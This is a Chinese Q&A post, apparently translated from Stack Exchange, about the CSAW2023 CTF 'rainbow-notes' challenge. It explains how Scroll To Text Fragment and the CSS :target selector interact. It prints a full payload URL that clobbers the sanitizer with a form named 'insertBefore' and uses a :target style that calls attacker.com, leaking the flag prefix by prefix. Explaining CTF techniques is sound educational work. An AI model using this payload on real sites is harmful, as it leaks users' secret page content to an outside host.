关于Scroll To Text Fragment(STTF)与CSS:target联动机制的问询
CSAW2023 CTF赛事剧透提示:以下内容包含已结束的CSAW2023 CTF赛事挑战解法细节,介意者慎读。
在CSAW2023 CTF的rainbow-notes Web挑战中,我们拿到一个笔记编写网站,还有一个可提交URL让管理员机器人访问的入口。机器人访问提交的URL前,会先访问该笔记网站并添加一条包含flag csawctf{flaghere}的笔记。
该挑战的解决方案(参考已有方案微调):
- 先通过表单
<form id="f"><input name="insertBefore">X</form>绕过 sanitizer 函数:name="insertBefore"会覆盖insertBefore函数,导致sanitizer崩溃(此部分非重点,仅作说明避免混淆) - 核心操作:在表单内外添加样式块
<style>:target{background:url("https://attacker.com/?a=b")}</style>,并在URL末尾添加Scroll To Text Fragment(STTF)#:~:text=csawctf{a},其中末尾的a可替换为flag的任意前缀
最终提交给机器人的Payload示例:
https://rainbow-notes.csaw.io/?note=<form id="f"><input name="insertBefore">X<style>:target{background:url("https://attacker.com/?a=b")}</style></form>#:~:text=csawctf{5af5c57dd6}
思路是:当输入的flag前缀正确时,STTF生效并触发攻击者的URL,以此逐步爆破出完整flag。
想了解Scroll To Text Fragment(#:~:text=)的工作机制:为何当STTF没有匹配文本时,不会触发上述webhook?
查阅STTF规范文档后未找到相关行为说明,推测这与:target选择器有关,但不确定。本地测试时,无匹配文本也未发现错误。
更新:查阅:target选择器相关内容后已有初步认知,但仍存疑惑。根据MDN文档,:target选择器会应用于URL片段所指向的元素,例如http://google.com/index.html#section1中,片段section1对应的元素会被:target选中。那在本次场景中,#:~:text=csaw{a}作为URL片段,是当匹配的文本存在时,:target对应的代码(调用攻击者URL)才会执行,以此告知我们该片段存在吗?
你的推测完全正确,核心逻辑在于:target选择器和STTF的交互:
当URL中的STTF(#:~:text=)匹配到页面内的文本时,浏览器会创建一个匿名目标元素来对应这个文本片段,此时这个匿名元素会被:target选择器选中,触发background:url()的加载请求——也就是你设置的攻击者webhook。
如果STTF没有匹配到任何文本,浏览器不会生成这个匿名目标元素,:target选择器就没有可选中的对象,对应的样式规则不会生效,自然也就不会触发webhook请求。
总结来说:只有STTF匹配成功时,才会生成:target能选中的目标,进而触发样式里的URL请求;匹配失败则无目标,样式不执行。
内容的提问来源于stack exchange,提问作者snatchysquid

